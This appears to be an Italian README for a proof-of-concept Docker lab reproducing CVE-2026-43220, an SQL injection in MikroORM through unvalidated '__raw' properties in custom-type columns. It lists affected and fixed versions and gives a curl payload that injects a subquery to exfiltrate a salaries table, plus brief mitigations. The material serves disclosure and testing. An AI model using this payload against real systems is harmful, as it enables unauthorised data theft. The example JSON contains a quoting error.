
Proof-of-concept e laboratorio Docker che riproduce CVE-2026-43220, un'iniezione SQL di MikroORM tramite proprietà __raw non convalidate in colonne di tipo personalizzato, con passaggi di sfruttamento basati su curl.
★ CVE-2026-43220 MikroORM SQL Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 è una vulnerabilità di SQL Injection in MikroORM, un framework ORM ampiamente utilizzato per TypeScript/Node.js.
Quando un valore fornito dall'utente contenente una proprietà__rawviene passato a una colonna di tipo Custom senza validazione, il controlloisRaw()di MikroORM lo identifica come un'espressione Raw SQL interna attendibile e inserisce il valoresqlcontrollato dall'attaccante direttamente nella query generata senza conversione di tipo né sanitizzazione, causando l'esecuzione non intenzionale di SQL arbitrario.
| Categoria | Versione |
|---|---|
| Vulnerabile | MikroORM versione ≤ 6.4.3 & 7.0.0 ≤ versione ≤ 7.0.5 |
| Corretta | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Dopo aver avviato l'ambiente vulnerabile, segui i passaggi riportati di seguito per riprodurre l'attacco.
__rawInvia un body JSON che includa una proprietà __raw indirizzata a una colonna di tipo Custom.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Verifica che l'API restituisca una risposta di successo senza alcun errore, il che indica che MikroORM ha accettato il payload malevolo come valore valido.
Verifica che il campo content del post creato contenga il risultato della query
dalla tabella salaries (ad esempio, Alice: 5000 / Bob: 7000 / ...),
confermando che i dati di una tabella non correlata sono stati silenziosamente incorporati
nella risposta senza alcun errore né violazione dei controlli di accesso.
isRaw() per rifiutare le proprietà __raw fornite dall'esterno__raw prima di passare i valori al livello ORM